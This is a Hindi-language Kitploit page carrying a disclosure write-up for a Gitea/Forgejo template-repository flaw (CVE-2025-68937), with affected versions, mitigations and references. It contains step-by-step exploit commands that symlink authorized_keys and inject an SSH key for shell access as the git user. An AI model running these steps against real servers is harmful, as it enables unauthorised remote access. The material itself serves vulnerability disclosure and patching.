Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

गीटिया और फोर्गेजो के रिपॉजिटरी-टेम्पलेट प्रसंस्करण में डायरेक्टरी ट्रैवर्सल रिमोट प्रमाणित हमलावरों को फाइलसिस्टम पर मनमानी फाइलों को प्रोसेस करने की अनुमति देता है, जिससे रिमोट कोड निष्पादन होता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
6 महीने पहलेअभी तक समीक्षित नहीं

Gitea और Forgejo में मनमाना टेम्पलेट विस्तार भेद्यता

forgejo-cve CC BY-SA 4.0

यह कार्य Creative Commons Attribution-ShareAlike 4.0 International License के तहत लाइसेंस प्राप्त है।

CC BY-SA 4.0

सारांश

जब Forgejo और Gitea के स्रोत कोड की जाँच कर रहा था ताकि यह बेहतर समझ सकूँ कि टेम्पलेटिंग कैसे की जाती है, मुझे एक भेद्यता मिली जो एक प्रमाणित उपयोगकर्ता को एक दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी बनाने की अनुमति देती है जिसका उपयोग फाइलसिस्टम पर मनमानी फाइलों को प्रोसेस करने के लिए किया जा सकता है।

जब दुर्भावनापूर्ण टेम्पलेट की Git सामग्री के आधार पर एक रिपॉजिटरी बनाई जाती है, तो टेम्पलेट फाइलसिस्टम पर मनमानी फाइलों को विस्तारित करने में सक्षम होगा।

git उपयोगकर्ता की होम डायरेक्टरी के पथ (जो आधिकारिक डॉकर इमेज में /data/git डिफ़ॉल्ट है) को जानकर, एक हमलावर git उपयोगकर्ता की .ssh/authorized_keys फाइल का विस्तार कर सकता है ताकि command पैरामीटर के बिना एक कुंजी इंजेक्ट कर सके, जिसका उपयोग मनमाने कमांड या एक इंटरैक्टिव शेल को निष्पादित करने के लिए किया जा सकता है।

तकनीकी विवरण

प्रभावित संस्करण: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

प्रभावित घटक: टेम्पलेट रिपॉजिटरी

मूल कारण: टेम्पलेट फाइलों की सामग्री को पढ़ते और लिखते समय सांकेतिक लिंक डीरेफरेंस

शोषण प्रवाह

  1. हमलावर एक वैध उपयोगकर्ता के रूप में प्रमाणित होता है

  2. हमलावर एक दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी बनाता है जिसमें अनुमानित git उपयोगकर्ता की .ssh/authorized_keys फाइल के लिए एक सांकेतिक लिंक और एक .forgejo/template फाइल होती है जो सांकेतिक लिंक का संदर्भ देती है

  3. हमलावर अपने खाते में एक ssh सार्वजनिक कुंजी जोड़ता है जिसमें एक कस्टम टिप्पणी होती है जो ${REPO_DESCRIPTION} के साथ समाप्त होती है

  4. हमलावर Git सामग्री टेम्पलेटिंग सक्षम और एक विवरण के साथ दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी का संदर्भ देने वाला एक रिपॉजिटरी बनाता है जिसमें एक नई पंक्ति और फिर एक और ssh सार्वजनिक कुंजी शामिल है

  5. Gitea/Forgejo टेम्पलेट्स authorized_keys सिमलिंक को पढ़ते और टेम्पलेट करते हैं, जिससे पहले से सेट सार्वजनिक कुंजी की टिप्पणी हमलावर के रिपो विवरण के अनुरूप एक मनमानी प्रविष्टि में विस्तारित हो जाती है, बिना command पैरामीटर के

  6. हमलावर इंजेक्ट की गई कुंजी का उपयोग करके git उपयोगकर्ता के रूप में इंटरैक्टिव रूप से लॉग इन करता है

हमलावर के लिए कॉन्फ़िगरेशन फ़ाइल, SQLite डेटाबेस को दूषित करना या बड़ी फाइलों को पढ़कर सेवा अस्वीकार करना भी संभव है।

शमन

  • अविश्वसनीय उपयोगकर्ताओं के लिए पंजीकरण अक्षम करें
  • अविश्वसनीय उपयोगकर्ताओं के लिए रिपॉजिटरी निर्माण अक्षम करें

पुनरुत्पादन

  1. Gitea/Forgejo का एक भेद्य संस्करण स्थापित और कॉन्फ़िगर करें

  2. व्यवस्थापक खाते का उपयोग करके हमलावर के लिए एक खाता पंजीकृत करें या बनाएं

  3. हमलावर खाते का उपयोग करके लॉगिन करें

  4. दो अलग-अलग SSH कुंजियाँ उत्पन्न करें: एक Git के लिए और एक इंटरैक्टिव SSH के लिए

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Gitea/Forgejo UI का उपयोग करके ~/.ssh/attacker-git.pub फ़ाइल की सामग्री को एक अधिकृत ssh-कुंजी के रूप में जोड़ें

कुंजी टिप्पणी मौजूद होनी चाहिए और इस तरह दिखनी चाहिए:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

git उपयोगकर्ता की .ssh/authorized_keys अब इस तरह दिखती है:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Gitea/Forgejo UI का उपयोग करके एक दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी बनाएं

  2. टेम्पलेट रिपॉजिटरी को क्लोन करें और दुर्भावनापूर्ण सिमलिंक और टेम्पलेट कॉन्फ़िगरेशन जोड़ें

root@kitploit:~
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys

# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template

# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Commit and push the changes
git add -A
git commit -m 'Initial commit'

git push
  1. Git सामग्री टेम्पलेटिंग सक्षम और एक विवरण के साथ दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी का संदर्भ देने वाला एक नया रिपॉजिटरी बनाएं जिसमें एक नई पंक्ति और फिर ~/.ssh/attacker-ssh.pub फ़ाइल की सामग्री शामिल है

रिपो विवरण इस तरह दिखना चाहिए:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

पहली पंक्ति में replaced आवश्यक नहीं है, लेकिन आपको यह सुनिश्चित करना होगा कि नई पंक्ति अभी भी वहाँ है। पंक्ति के अंत में attacker@machine टिप्पणी भी वैकल्पिक है।

परिणामी git उपयोगकर्ता की .ssh/authorized_keys इस तरह दिखेगी:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. ~/.ssh/attacker-ssh कुंजी और ssh क्लाइंट का उपयोग करके कनेक्ट करें
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

संदर्भ

  • Gitea रिलीज़ नोट्स
  • Gitea पुल अनुरोध
  • Forgejo 13.0.2 रिलीज़ नोट्स
  • Forgejo 11.0.7 रिलीज़ नोट्स
  • Forgejo पैच
टूल डाउनलोड करें